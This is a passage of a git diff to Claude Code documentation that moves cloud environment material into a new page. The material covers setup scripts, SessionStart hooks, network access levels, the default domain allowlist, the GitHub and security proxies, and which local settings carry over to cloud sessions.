-The setup script runs again to rebuild the cache when you change the environment's setup script or allowed network hosts, and when the cache reaches its expiry after roughly seven days. Resuming an existing session never re-runs the setup script.
-
-You don't need to enable caching or manage snapshots yourself.
-
-### Setup scripts vs. SessionStart hooks
-
-Use a setup script to install things the cloud needs but your laptop already has, like a language runtime or CLI tool. Use a [SessionStart hook](/docs/en/hooks#sessionstart) for project setup that should run everywhere, cloud and local, like `npm install`.
-
-Both run at the start of a session, but they belong to different places:
-
-| | Setup scripts | SessionStart hooks |
-| ------------- | -------------------------------------------------------------------------------------------- | -------------------------------------------------------------- |
-| Attached to | The cloud environment | Your repository |
-| Configured in | Cloud environment UI | `.claude/settings.json` in your repo |
-| Runs | Before Claude Code launches, when no [cached environment](#environment-caching) is available | After Claude Code launches, on every session including resumed |
-| Scope | Cloud environments only | Both local and cloud |
-
-SessionStart hooks can also be defined in your user-level `~/.claude/settings.json` locally, but user-level settings don't carry over to cloud sessions. In the cloud, hooks come from the repo and from your organization's [server-managed settings](/docs/en/server-managed-settings).
-
-### Install dependencies with a SessionStart hook
-
-To install dependencies only in cloud sessions, add a SessionStart hook to your repo's `.claude/settings.json`:
-
-```json theme={null}
-{
- "hooks": {
- "SessionStart": [
- {
- "matcher": "startup|resume",
- "hooks": [
- {
- "type": "command",
- "command": "\"$CLAUDE_PROJECT_DIR\"/scripts/install_pkgs.sh"
- }
- ]
- }
- ]
- }
-}
-```
-
-Create the script at `scripts/install_pkgs.sh`. The `CLAUDE_CODE_REMOTE` environment variable is set to `true` in cloud sessions, so you can use it to skip local execution:
-
-```bash theme={null}
-#!/bin/bash
-
-if [ "$CLAUDE_CODE_REMOTE" != "true" ]; then
- exit 0
-fi
-
-npm install
-pip install -r requirements.txt
-exit 0
-```
-
-Then make the script executable:
-
-```bash theme={null}
-chmod +x scripts/install_pkgs.sh
-```
-
-SessionStart hooks have some limitations in cloud sessions:
-
-* **No cloud-only scoping**: hooks run in both local and cloud sessions. To skip local execution, check the `CLAUDE_CODE_REMOTE` environment variable as shown above.
-* **Requires network access**: install commands need to reach package registries. If your environment uses **None** network access, these hooks fail. The [default allowlist](#default-allowed-domains) under **Trusted** covers npm, PyPI, RubyGems, and crates.io.
-* **Proxy compatibility**: all outbound traffic passes through a [security proxy](#security-proxy). Some package managers don't work correctly with this proxy. Bun is a known example.
-* **Adds startup latency**: hooks run each time a session starts or resumes, unlike setup scripts which benefit from [environment caching](#environment-caching). Keep install scripts fast by checking whether dependencies are already present before reinstalling.
-
-To persist environment variables for subsequent Bash commands, write to the file at `$CLAUDE_ENV_FILE`. See [SessionStart hooks](/docs/en/hooks#sessionstart) for details.
-
-Replacing the base image with your own Docker image is not yet supported. Use a setup script to install what you need on top of the [provided image](#installed-tools), or run your image as a container alongside Claude with `docker compose`.
-
-## Network access
-
-Network access controls outbound connections from the cloud environment. Each environment specifies one access level, and you can extend it with custom allowed domains. The default is **Trusted**, which allows package registries and other [allowlisted domains](#default-allowed-domains).
-
-To change an environment's network access, [open it for editing](#configure-your-environment) and use the **Network access** selector in the dialog. There is no separate Environments page. The cloud icon appears wherever you start a cloud session or configure a [routine](/docs/en/routines#environments-and-network-access).
-
-
- MCP connector traffic is routed through Anthropic's servers, so the connectors you enable on a session or routine work without adding their hosts to **Allowed domains**. Connectors are configured per session or per routine; remove any you don't need to limit which tools Claude can reach. This relies on the same Anthropic-bound channel noted under [Security and isolation](#security-and-isolation).
-
-
-### Access levels
-
-Choose an access level when you create or edit an environment:
-
-| Level | Outbound connections |
-| :---------- | :------------------------------------------------------------------------------------------- |
-| **None** | No outbound network access |
-| **Trusted** | [Allowlisted domains](#default-allowed-domains) only: package registries, GitHub, cloud SDKs |
-| **Full** | Any domain |
-| **Custom** | Your own allowlist, optionally including the defaults |
-
-GitHub operations use a [separate proxy](#github-proxy) that is independent of this setting.
-
-### Allow specific domains
-
-To allow domains that aren't in the Trusted list, select **Custom** in the environment's network access settings. An **Allowed domains** field appears. Enter one domain per line:
-
-```text theme={null}
-api.example.com
-*.internal.example.com
-registry.example.com
-```
-
-Use `*.` for wildcard subdomain matching. Check **Also include default list of common package managers** to keep the [Trusted domains](#default-allowed-domains) alongside your custom entries, or leave it unchecked to allow only what you list.
-
-Allowed domains are configured per environment. There's no organization-level allowlist that Owners can push to all users' environments; [server-managed settings](/docs/en/server-managed-settings) can restrict cloud sessions but can't add allowed domains.
-
-### GitHub proxy
-
-For security, all GitHub operations go through a dedicated proxy service that keeps your real GitHub credentials outside the sandbox. The proxy authenticates two kinds of traffic:
-
-* Git interactions: the git client inside the sandbox uses a custom-built scoped credential, which the proxy verifies and translates to your actual GitHub authentication token
-* GitHub API requests: the proxy substitutes your real credentials on requests from the built-in GitHub tools, and from `gh` when your session sets the `proxy-injected` placeholder described in [Work with GitHub issues and pull requests](#work-with-github-issues-and-pull-requests)
-
-The proxy also restricts git push operations to the current working branch for safety, and enables cloning, fetching, and PR operations while maintaining security boundaries.
-
-The proxy limits GitHub API and release-asset requests to repositories attached to the session, regardless of the environment's [network access level](#access-levels). Setup scripts that download release assets from unattached repositories return a 403. Committed files from public repositories are fetched through `raw.githubusercontent.com`, which the [security proxy](#security-proxy) handles instead. That domain is in the default [Trusted list](#default-allowed-domains), so the files stay reachable unless the environment's [access level](#access-levels) excludes it.
-
-### Security proxy
-
-Environments run behind an HTTP/HTTPS network proxy for security and abuse prevention purposes. All outbound internet traffic passes through this proxy, which provides:
-
-* Protection against malicious requests
-* Rate limiting and abuse prevention
-* Content filtering for enhanced security
-* A DNS-level audit trail of requested hostnames
-
-### Default allowed domains
-
-When using **Trusted** network access, the following domains are allowed by default. Domains marked with `*` indicate wildcard subdomain matching, so `*.gcr.io` allows any subdomain of `gcr.io`.
-
-
-
- * api.anthropic.com
- * statsig.anthropic.com
- * docs.claude.com
- * platform.claude.com
- * code.claude.com
- * claude.ai
-
-
-
- * github.com
- * [www.github.com](http://www.github.com)
- * api.github.com
- * npm.pkg.github.com
- * raw\.githubusercontent.com
- * pkg-npm.githubusercontent.com
- * objects.githubusercontent.com
- * release-assets.githubusercontent.com
- * codeload.github.com
- * avatars.githubusercontent.com
- * camo.githubusercontent.com
- * gist.github.com
- * gitlab.com
- * [www.gitlab.com](http://www.gitlab.com)
- * registry.gitlab.com
- * bitbucket.org
- * [www.bitbucket.org](http://www.bitbucket.org)
- * api.bitbucket.org
-
-
-
- * registry-1.docker.io
- * auth.docker.io
- * index.docker.io
- * hub.docker.com
- * [www.docker.com](http://www.docker.com)
- * production.cloudflare.docker.com
- * download.docker.com
- * gcr.io
- * \*.gcr.io
- * ghcr.io
- * mcr.microsoft.com
- * \*.data.mcr.microsoft.com
- * public.ecr.aws
-
-
-
- * cloud.google.com
- * accounts.google.com
- * gcloud.google.com
- * \*.googleapis.com
- * storage.googleapis.com
- * compute.googleapis.com
- * container.googleapis.com
- * azure.com
- * portal.azure.com
- * microsoft.com
- * [www.microsoft.com](http://www.microsoft.com)
- * \*.microsoftonline.com
- * packages.microsoft.com
- * dotnet.microsoft.com
- * dot.net
- * visualstudio.com
- * dev.azure.com
- * \*.amazonaws.com
- * \*.api.aws
- * oracle.com
- * [www.oracle.com](http://www.oracle.com)
- * java.com
- * [www.java.com](http://www.java.com)
- * java.net
- * [www.java.net](http://www.java.net)
- * download.oracle.com
- * yum.oracle.com
-
-
-
- * registry.npmjs.org
- * [www.npmjs.com](http://www.npmjs.com)
- * [www.npmjs.org](http://www.npmjs.org)
- * npmjs.com
- * npmjs.org
- * yarnpkg.com
- * registry.yarnpkg.com
-
-
-
- * pypi.org
- * [www.pypi.org](http://www.pypi.org)
- * files.pythonhosted.org
- * pythonhosted.org
- * test.pypi.org
- * pypi.python.org
- * pypa.io
- * [www.pypa.io](http://www.pypa.io)
-
-
-
- * rubygems.org
- * [www.rubygems.org](http://www.rubygems.org)
- * api.rubygems.org
- * index.rubygems.org
- * ruby-lang.org
- * [www.ruby-lang.org](http://www.ruby-lang.org)
- * rubyforge.org
- * [www.rubyforge.org](http://www.rubyforge.org)
- * rubyonrails.org
- * [www.rubyonrails.org](http://www.rubyonrails.org)
- * rvm.io
- * get.rvm.io
-
-
-
- * crates.io
- * [www.crates.io](http://www.crates.io)
- * index.crates.io
- * static.crates.io
- * rustup.rs
- * static.rust-lang.org
- * [www.rust-lang.org](http://www.rust-lang.org)
-
-
-
- * proxy.golang.org
- * sum.golang.org
- * index.golang.org
- * golang.org
- * [www.golang.org](http://www.golang.org)
- * goproxy.io
- * pkg.go.dev
-
-
-
- * maven.org
- * repo.maven.org
- * central.maven.org
- * repo1.maven.org
- * repo.maven.apache.org
- * jcenter.bintray.com
- * gradle.org
- * [www.gradle.org](http://www.gradle.org)
- * services.gradle.org
- * plugins.gradle.org
- * kotlinlang.org
- * [www.kotlinlang.org](http://www.kotlinlang.org)
- * spring.io
- * repo.spring.io
-
-
-
- * packagist.org (PHP Composer)
- * [www.packagist.org](http://www.packagist.org)
- * repo.packagist.org
- * nuget.org (.NET NuGet)
- * [www.nuget.org](http://www.nuget.org)
- * api.nuget.org
- * pub.dev (Dart/Flutter)
- * api.pub.dev
- * hex.pm (Elixir/Erlang)
- * [www.hex.pm](http://www.hex.pm)
- * cpan.org (Perl CPAN)
- * [www.cpan.org](http://www.cpan.org)
- * metacpan.org
- * [www.metacpan.org](http://www.metacpan.org)
- * api.metacpan.org
- * cocoapods.org (iOS/macOS)
- * [www.cocoapods.org](http://www.cocoapods.org)
- * cdn.cocoapods.org
- * haskell.org
- * [www.haskell.org](http://www.haskell.org)
- * hackage.haskell.org
- * swift.org
- * [www.swift.org](http://www.swift.org)
-
-
-
- * archive.ubuntu.com
- * security.ubuntu.com
- * ubuntu.com
- * [www.ubuntu.com](http://www.ubuntu.com)
- * \*.ubuntu.com
- * ppa.launchpad.net
- * launchpad.net
- * [www.launchpad.net](http://www.launchpad.net)
- * \*.nixos.org
-
-
-
- * dl.k8s.io (Kubernetes)
- * pkgs.k8s.io
- * k8s.io
- * [www.k8s.io](http://www.k8s.io)
- * releases.hashicorp.com (HashiCorp)
- * apt.releases.hashicorp.com
- * rpm.releases.hashicorp.com
- * archive.releases.hashicorp.com
- * hashicorp.com
- * [www.hashicorp.com](http://www.hashicorp.com)
- * repo.anaconda.com (Anaconda/Conda)
- * conda.anaconda.org
- * anaconda.org
- * [www.anaconda.com](http://www.anaconda.com)
- * anaconda.com
- * continuum.io
- * apache.org (Apache)
- * [www.apache.org](http://www.apache.org)
- * archive.apache.org
- * downloads.apache.org
- * eclipse.org (Eclipse)
- * [www.eclipse.org](http://www.eclipse.org)
- * download.eclipse.org
- * nodejs.org (Node.js)
- * [www.nodejs.org](http://www.nodejs.org)
- * developer.apple.com
- * developer.android.com
- * pkg.stainless.com
- * binaries.prisma.sh
-
-
-
- * statsig.com
- * [www.statsig.com](http://www.statsig.com)
- * api.statsig.com
- * sentry.io
- * \*.sentry.io
- * downloads.sentry-cdn.com
- * http-intake.logs.datadoghq.com
- * browser-intake-us5-datadoghq.com
- * \*.datadoghq.com
- * \*.datadoghq.eu
- * api.honeycomb.io
-
-
-
- * sourceforge.net
- * \*.sourceforge.net
- * packagecloud.io
- * \*.packagecloud.io
- * fonts.googleapis.com
- * fonts.gstatic.com
-
-
-
- * json-schema.org
- * [www.json-schema.org](http://www.json-schema.org)
- * json.schemastore.org
- * [www.schemastore.org](http://www.schemastore.org)
-
-
-
- * \*.modelcontextprotocol.io
-
-
-
## Move tasks between web and terminal
These workflows require the [Claude Code CLI](/docs/en/quickstart) signed in to the same claude.ai account. You can start new cloud sessions from your terminal, or pull cloud sessions into your terminal to continue locally. Cloud sessions persist even if you close your laptop, and you can monitor them from anywhere including the Claude mobile app. The `--cloud` and `--teleport` flags don't appear in `claude --help` output, but the CLI accepts them as shown below.
@@ -632,7 +73,7 @@ claude --cloud "Fix the authentication bug in src/auth/login.ts"
This creates a new cloud session on claude.ai. The session clones your current directory's GitHub remote at your current branch, so push first if you have local commits, since the VM clones from GitHub rather than your machine. `--cloud` works with a single repository at a time. The task runs in the cloud while you continue working locally. The older `--remote` spelling still works as a deprecated alias for `--cloud`.
-{/* min-version: 2.1.195 */}As of v2.1.195, the CLI shows a live checklist of setup steps, such as cloning the repository and running your [setup script](#setup-scripts), while the cloud container starts. Messages you type while the container is provisioning are queued and sent once the session is ready.
+{/* min-version: 2.1.195 */}As of v2.1.195, the CLI shows a live checklist of setup steps, such as cloning the repository and running your [setup script](/docs/en/cloud-environments#setup-scripts), while the cloud container starts. Messages you type while the container is provisioning are queued and sent once the session is ready.
`--cloud` creates cloud sessions. `--remote-control` is unrelated: it exposes a local CLI session for monitoring from the web. See [Remote Control](/docs/en/remote-control).
@@ -724,7 +165,7 @@ Sessions appear in the sidebar at claude.ai/code. From there you can review chan
Cloud sessions support [built-in commands](/docs/en/commands) that produce text output. Commands that only run in the terminal interface, such as `/plugin` or `/resume`, aren't available. Commands that open a picker or panel in the terminal behave differently in cloud sessions:
* {/* min-version: 2.1.205 */}**`/model`, `/effort`, `/fast`, `/color`, and `/rename`**: pass the value as an argument, for example `/model sonnet`, instead of opening the terminal picker or slider. The argument forms require Claude Code v2.1.205 or later in the session's environment and follow each command's [availability notes](/docs/en/commands#all-commands): `/effort` reports `Not applied` while a model's [launch-default effort hold](/docs/en/model-config#adjust-effort-level) is in force, and `/fast` works only in a session that started with fast mode turned on.
-* **`/config`**: on the web, opens the Claude Code section of your settings instead of setting a value, and text after the command, including `key=value`, is ignored. To change settings for a cloud session, use [environment variables](#configure-your-environment) or commit [settings files](/docs/en/settings) to the repository.
+* **`/config`**: on the web, opens the Claude Code section of your settings instead of setting a value, and text after the command, including `key=value`, is ignored. To change settings for a cloud session, use [environment variables](/docs/en/cloud-environments#set-environment-variables) or commit [settings files](/docs/en/settings) to the repository.
For context management specifically:
@@ -734,11 +175,11 @@ For context management specifically:
| `/context` | Yes | Shows what's currently in the context window |
| `/clear` | No | Start a new session from the sidebar instead |
-Auto-compaction runs automatically when the context window approaches capacity. To trigger it earlier, set [`CLAUDE_AUTOCOMPACT_PCT_OVERRIDE`](/docs/en/env-vars) in your [environment variables](#configure-your-environment). For example, `CLAUDE_AUTOCOMPACT_PCT_OVERRIDE=70` compacts at 70% capacity instead of waiting until the window is nearly full. To change the effective window size for compaction calculations, use [`CLAUDE_CODE_AUTO_COMPACT_WINDOW`](/docs/en/env-vars).
+Auto-compaction runs automatically when the context window approaches capacity. To trigger it earlier, set [`CLAUDE_AUTOCOMPACT_PCT_OVERRIDE`](/docs/en/env-vars) in your [environment variables](/docs/en/cloud-environments#set-environment-variables). For example, `CLAUDE_AUTOCOMPACT_PCT_OVERRIDE=70` compacts at 70% capacity instead of waiting until the window is nearly full. To change the effective window size for compaction calculations, use [`CLAUDE_CODE_AUTO_COMPACT_WINDOW`](/docs/en/env-vars).
[Subagents](/docs/en/sub-agents) work the same way they do locally. Claude can spawn them with the Task tool to offload research or parallel work into a separate context window, keeping the main conversation lighter. Subagents defined in your repo's `.claude/agents/` are picked up automatically.
-[Agent teams](/docs/en/agent-teams) are off by default but can be enabled by adding `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1` to your [environment variables](#configure-your-environment).
+[Agent teams](/docs/en/agent-teams) are off by default but can be enabled by adding `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1` to your [environment variables](/docs/en/cloud-environments#set-environment-variables).
### Review changes
@@ -782,7 +223,7 @@ You will be asked to confirm before a session is deleted.
Claude can watch a pull request and automatically respond to CI failures and review comments. Claude subscribes to GitHub activity on the PR, and when a check fails or a reviewer leaves a comment, Claude investigates and pushes a fix if one is clear.
- Auto-fix requires the Claude GitHub App to be installed on your repository. If you haven't already, install it from the [GitHub App page](https://github.com/apps/claude) or when prompted during [setup](/docs/en/web-quickstart#connect-github-and-create-an-environment).
+ Auto-fix requires the Claude GitHub App to be installed on your repository. If you haven't already, install it from the [GitHub App page](https://github.com/apps/claude) or when prompted during [setup](/docs/en/web-quickstart#connect-github).
There are a few ways to turn on auto-fix depending on where the PR came from and what device you're using:
@@ -825,7 +266,7 @@ For runtime API errors that appear in the conversation such as `API Error: 500`,
### Session creation failed
-If a new session fails to start with `Session creation failed` or stalls at provisioning, Claude Code could not allocate a cloud environment.
+If a new session fails to start with `Session creation failed` or stalls at provisioning, Claude Code could not allocate a VM for the session.
* Check [status.claude.com](https://status.claude.com) for cloud session incidents
* Retry after a minute, as capacity is provisioned on demand
@@ -849,9 +290,9 @@ On Amazon Bedrock, Google Cloud's Agent Platform, and Microsoft Foundry, the com
### Environment expired
-Cloud sessions stop after a period of inactivity and the underlying environment is reclaimed. From a local terminal, this surfaces as `Could not resume session ... its environment has expired. Creating a fresh session instead.` On the web, the session is marked expired in the session list.
+Cloud sessions stop after a period of inactivity and the session's VM is reclaimed. On the web, the session is marked expired in the session list.
-Reopen the session from [claude.ai/code](https://claude.ai/code) to provision a fresh environment with your conversation history restored.
+Reopen the session from [claude.ai/code](https://claude.ai/code) to provision a fresh VM with your conversation history restored.
## Limitations
@@ -864,6 +305,7 @@ Before relying on cloud sessions for a workflow, account for these constraints:
## Related resources
+* [Cloud environments](/docs/en/cloud-environments): configure network access, environment variables, and setup scripts for cloud sessions
* [Ultraplan](/docs/en/ultraplan): draft a plan in a cloud session and review it in your browser
* [Ultrareview](/docs/en/ultrareview): run a deep multi-agent code review in a cloud sandbox
* [Routines](/docs/en/routines): automate work on a schedule, via API call, or in response to GitHub events
@@ -871,4 +313,4 @@ Before relying on cloud sessions for a workflow, account for these constraints:
* [Settings reference](/docs/en/settings): all configuration options
* [Security](/docs/en/security): isolation guarantees and data handling
* [Data usage](/docs/en/data-usage): what Anthropic retains from cloud sessions
-* [Claude Tag](https://claude.com/docs/claude-tag/overview): an organization-managed @Claude in Slack that runs on the same cloud environment
+* [Claude Tag](https://claude.com/docs/claude-tag/overview): an organization-managed @Claude in Slack that runs on the same cloud infrastructure
diff --git a/content/en/docs/claude-code/claude-security.md b/content/en/docs/claude-code/claude-security.md
index 911c5232f..f98988a8a 100644
--- a/content/en/docs/claude-code/claude-security.md
+++ b/content/en/docs/claude-code/claude-security.md
@@ -29,9 +29,10 @@ In a Claude Code session, install from the [official Anthropic marketplace](/doc
/plugin install claude-security@claude-plugins-official
```
-
- If Claude Code reports that the marketplace is not found, run `/plugin marketplace add anthropics/claude-plugins-official` first, then retry the install.
-
+If the install fails, the fix depends on which message Claude Code reports:
+
+* If it reports `Marketplace "claude-plugins-official" not found`, add the marketplace with `/plugin marketplace add anthropics/claude-plugins-official`, then retry the install.
+* If it reports that it can't find the plugin in the marketplace, check the plugin name for a typo, then refresh your local copy of the marketplace with `/plugin marketplace update claude-plugins-official` and retry the install.
Then activate the plugin in the current session with `/reload-plugins`, which applies pending plugin changes without a restart:
diff --git a/content/en/docs/claude-code/cloud-environments.md b/content/en/docs/claude-code/cloud-environments.md
new file mode 100644
index 000000000..a299414e4
--- /dev/null
+++ b/content/en/docs/claude-code/cloud-environments.md
@@ -0,0 +1,654 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://code.claude.com/docs/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Configure cloud environments
+
+> Configure cloud environments for Claude Code cloud sessions: network access levels, environment variables, setup scripts, and environment caching.
+
+
+ Cloud environments require [Claude Code on the web](/docs/en/claude-code-on-the-web), which is in research preview for Pro, Max, and Team users, and for Enterprise users with [premium seats or Chat + Claude Code seats](https://support.claude.com/en/articles/11845131-use-claude-code-with-your-team-or-enterprise-plan).
+
+
+Each [cloud session](/docs/en/claude-code-on-the-web) runs in a cloud environment. You can configure an environment to allow or deny [network access](#access-levels), set environment variables for the session, and run a [setup script](#setup-scripts) before Claude starts working.
+
+The same environments apply wherever you start a cloud session: [Claude Code on the web](/docs/en/claude-code-on-the-web), the terminal with [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-web), [Claude Tag](https://claude.com/docs/claude-tag/overview), [routines](/docs/en/routines), the [Claude mobile app](/docs/en/mobile), and the [Desktop app](/docs/en/desktop). [Remote Control](/docs/en/remote-control) sessions are the exception: they connect the web and mobile interfaces to a session on your own machine, which uses your machine's network and files, not a cloud environment.
+
+## The Default environment
+
+Onboarding sets up the **Default** environment for you, whether you connect through [the web](/docs/en/web-quickstart#connect-github) or a CLI flow such as `/web-setup`; if web onboarding shows an environment form instead of creating the environment, keep the form's defaults to get the same **Default** environment. **Default** carries no configuration of its own:
+
+* [**Trusted** network access](#access-levels): sessions reach package registries and other [allowlisted domains](#default-allowed-domains), and nothing else through the session's network.
+* No other configuration: **Default** defines no environment variables or setup script, so sessions start with just the [pre-installed tools](#installed-tools).
+
+With only **Default** available, every session runs in it. When you have more than one environment, sessions choose one per surface:
+
+* On the web, the Desktop app, and the mobile app, sessions use the environment shown in the [selector](#configure-your-environment). An admin-set [organization default](#organization-shared-environments) fills the selection when you haven't picked one.
+* From the CLI, sessions use your [`/remote-env` pick](#select-an-environment-from-the-cli), or fall back to your first available cloud environment.
+
+Configure an environment when the default isn't enough: when Claude needs to reach domains outside the [default allowlist](#default-allowed-domains), needs environment variables set for its sessions, or needs dependencies installed before it starts working.
+
+## Configure your environment
+
+Create, edit, and archive environments from the environment selector at [claude.ai/code](https://claude.ai/code), which you reach after [web onboarding](/docs/en/web-quickstart). Environments you create are personal to your account; [shared environments](#organization-shared-environments) created by your admins appear in the same selector. See [Installed tools](#installed-tools) for what's available without any configuration.
+
+
+
+ On [claude.ai/code](https://claude.ai/code), select the cloud icon showing the current environment's name, in the row above the message box. There's no settings page or direct URL for the selector.
+
+
+
+
+
+
+
+ Select **Add cloud environment**, or hover over an existing environment and select the settings icon that appears on the right. The dialog includes the name, network access level, environment variables, and setup script.
+
+
+
+
+
+
+
+### Set environment variables
+
+Environment variables use `.env` format, one `KEY=value` pair per line. Plain values don't need quotes, and if you quote a value with a matching pair, the quotes don't become part of the value. Quote a value that spans multiple lines or contains a `#`: in an unquoted value, `#` starts a comment and the rest of the line is dropped.
+
+The following example defines three variables.
+
+```text theme={null}
+NODE_ENV=development
+LOG_LEVEL=debug
+DATABASE_URL=postgres://localhost:5432/myapp
+```
+
+Each session copies the environment's values once, at startup, into ordinary environment variables that any command Claude runs can read. Because running sessions don't re-read the configuration, editing or adding variables affects sessions you start afterward; sessions already running keep the values they started with.
+
+Anyone who uses the environment can read the values, and cloud environments have no dedicated secrets store, so don't add API keys or other credentials. If a session needs a credential anyway, see [What carries over from your setup](#what-carries-over-from-your-setup).
+
+### Select an environment from the CLI
+
+Run `/remote-env` in your terminal to choose the default environment for cloud sessions you create from the CLI, such as [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-web). The command opens a picker of your existing environments and saves your choice to the `remote.defaultEnvironmentId` key in your [user settings](/docs/en/settings#settings-files), so it applies in every project on your machine until you change it, unless the same key is set at a higher-precedence [settings layer](/docs/en/settings#settings-precedence), such as a repo's project settings.
+
+`/remote-env` only sets the default: it doesn't start a session, and it can't add or edit environments. Manage them at [claude.ai/code](https://claude.ai/code).
+
+### Archive an environment
+
+To archive an environment, open it for editing and select **Archive**. You can't delete an environment, only archive it.
+
+Archiving affects new sessions, not running ones:
+
+* Sessions already running in the environment continue to work.
+* The environment disappears from the selector and from `/remote-env`, so you can't pick it for new sessions.
+* No new session can start in an archived environment, on any surface. If the environment was your saved [CLI default](#select-an-environment-from-the-cli), CLI cloud sessions fall back to your first available cloud environment. Anything configured with the environment explicitly, such as a [routine](/docs/en/routines#environments-and-network-access), can't start new sessions in it; point it at another environment.
+
+### Organization-shared environments
+
+Owners and admins on Team and Enterprise plans can create cloud environments that are shared with every member of the organization. Shared environments appear in each member's environment selector alongside their personal ones, so a team can standardize on one configuration instead of each member recreating it.
+
+Create, edit, and archive shared environments from the **Cloud environments** page in [admin settings](https://claude.ai/admin-settings). Each shared environment has a name, a [network access level](#access-levels), [environment variables](#set-environment-variables) in `.env` format, and a [setup script](#setup-scripts). Owners and admins choose the organization's [default environment](#the-default-environment) separately, at [claude.ai/admin-settings/claude-code](https://claude.ai/admin-settings/claude-code).
+
+Values in a shared environment reach every member's sessions in that environment. Like personal environments, shared environments have no dedicated secrets store, so don't include secrets.
+
+Shared environments add to members' selectors rather than replacing them.
+
+## Network access
+
+Each environment sets one network access level, which controls the outbound connections its sessions can make. The default level, **Trusted**, allows package registries and other [allowlisted domains](#default-allowed-domains); **Custom** takes your own domain list.
+
+To change an environment's network access, [open it for editing](#configure-your-environment) and use the **Network access** selector in the dialog. The cloud icon that opens the selector appears on the app surfaces listed under [The Default environment](#the-default-environment) and in the [routine editor](/docs/en/routines#environments-and-network-access); personal environments don't have a separate page in your claude.ai account settings.
+
+
+ MCP connectors you enable on a session or routine work without adding their hosts to **Allowed domains**, because connector traffic travels through Anthropic's servers rather than the session's network. You configure connectors per session or per routine; remove any you don't need to limit which tools Claude can reach. This relies on the same Anthropic-bound channel noted under [Security and isolation](/docs/en/claude-code-on-the-web#security-and-isolation).
+
+
+### Access levels
+
+The **Network access** field in the [environment dialog](#configure-your-environment) takes one of four levels:
+
+| Level | Outbound connections |
+| :---------- | :------------------------------------------------------------------------------------------- |
+| **None** | No outbound network access through the session's network |
+| **Trusted** | [Allowlisted domains](#default-allowed-domains) only: package registries, GitHub, cloud SDKs |
+| **Full** | Any domain |
+| **Custom** | Your own allowlist, optionally including the defaults |
+
+GitHub operations use a [separate proxy](#github-proxy) that is independent of this setting, and Claude Code's connection to the Anthropic API still works at **None**, as noted under [Security and isolation](/docs/en/claude-code-on-the-web#security-and-isolation).
+
+### Allow specific domains
+
+To allow domains that aren't in the Trusted list, select **Custom** in the environment's network access settings, then list one domain per line in the **Allowed domains** field. This example allows three hosts an internal project might need.
+
+```text theme={null}
+api.example.com
+*.internal.example.com
+registry.example.com
+```
+
+Sessions in this environment can now reach `api.example.com`, any subdomain of `internal.example.com`, and `registry.example.com`, and no other domains through the session's network; [GitHub traffic](#github-proxy) and [MCP connector traffic](#network-access) don't go through this allowlist. A leading `*.` matches every subdomain. To keep the [Trusted domains](#default-allowed-domains) too, check **Also include default list of common package managers**; leave it unchecked to allow only what you list.
+
+Each environment has its own allowed-domains list; there's no organization-level allowlist that admins can push to every member's environments. [Server-managed settings](/docs/en/server-managed-settings) still apply inside cloud sessions, but none of them adds domains to the environment's network allowlist.
+
+### GitHub proxy
+
+All GitHub operations go through a dedicated proxy that keeps your real GitHub credentials outside the session's VM, independent of the environment's [access level](#access-levels):
+
+* **Git credentials**: the git client inside the VM uses a scoped credential, which the proxy verifies and swaps for your actual GitHub token.
+* **API requests**: requests from the built-in GitHub tools, and from `gh` under the [`proxy-injected` placeholder](#work-with-github-issues-and-pull-requests), go out with your real credentials substituted.
+* **Push protection**: `git push` works only against the session's current working branch; cloning, fetching, and PR operations work normally.
+* **Repository scope**: GitHub API and release-asset requests reach only repositories attached to the session, so a setup script that downloads release assets from an unattached repository gets a 403.
+
+Committed files from public repositories arrive through `raw.githubusercontent.com`, which the [security proxy](#security-proxy) handles instead. That domain is in the default [Trusted list](#default-allowed-domains), so those files stay reachable unless the environment's [access level](#access-levels) excludes it.
+
+### Security proxy
+
+Cloud sessions run behind an HTTP/HTTPS network proxy for security and abuse prevention purposes. All outbound internet traffic passes through this proxy, which provides:
+
+* Protection against malicious requests
+* Rate limiting and abuse prevention
+* Content filtering for enhanced security
+* A DNS-level audit trail of requested hostnames
+
+## What's available in cloud sessions
+
+Each session gets a fresh virtual machine (VM) running Ubuntu 24.04, regardless of your own operating system, with your repository cloned and common toolchains pre-installed. This section covers those defaults, the built-in GitHub tools, how to [run tests and services](#run-tests-start-services-and-add-packages), and the [resource limits](#resource-limits) each VM gets.
+
+### What carries over from your setup
+
+Cloud sessions start from a fresh clone of your repository. Anything you commit to the repo is available. Anything you've installed or configured only on your own machine isn't available in the session. Your organization's policy arrives separately through [server-managed settings](/docs/en/server-managed-settings).
+
+| | Available in cloud sessions | Why |
+| :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :-------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Your repo's `CLAUDE.md` | Yes | Part of the clone |
+| Your repo's `.claude/settings.json` hooks | Yes | Part of the clone |
+| Your repo's `.mcp.json` MCP servers | Yes | Part of the clone |
+| Your repo's `.claude/rules/` | Yes | Part of the clone |
+| Your repo's `.claude/skills/`, `.claude/agents/`, `.claude/commands/` | Yes | Part of the clone |
+| Plugins declared in `.claude/settings.json` | Yes | Installed at session start from the [marketplace](/docs/en/plugin-marketplaces) you declared. Requires network access to reach the marketplace source |
+| Your organization's [server-managed settings](/docs/en/server-managed-settings) | Yes | Fetched from Anthropic's servers when the session starts. See [Surface coverage](/docs/en/model-config#surface-coverage) for how `availableModels` is enforced in cloud sessions. Settings deployed to your device through MDM or managed settings files don't apply, because the session runs on an Anthropic-managed VM |
+| Your user `~/.claude/CLAUDE.md` | No | Lives on your machine, not in the repo |
+| Your user `~/.claude/skills/`, `~/.claude/agents/`, `~/.claude/commands/` | No | Live on your machine, not in the repo. Commit them to the repo's `.claude/` directory instead. Cloud sessions automatically load skills you enable on claude.ai |
+| Plugins enabled only in your user settings | No | User-scoped `enabledPlugins` lives in `~/.claude/settings.json`. Declare them in the repo's `.claude/settings.json` instead |
+| MCP servers you added with `claude mcp add` at the default local scope or the user scope | No | Those write to `~/.claude.json` on your machine, not the repo. Add the server with `claude mcp add --scope project`, which writes the repo's [`.mcp.json`](/docs/en/mcp#project-scope), and commit that file |
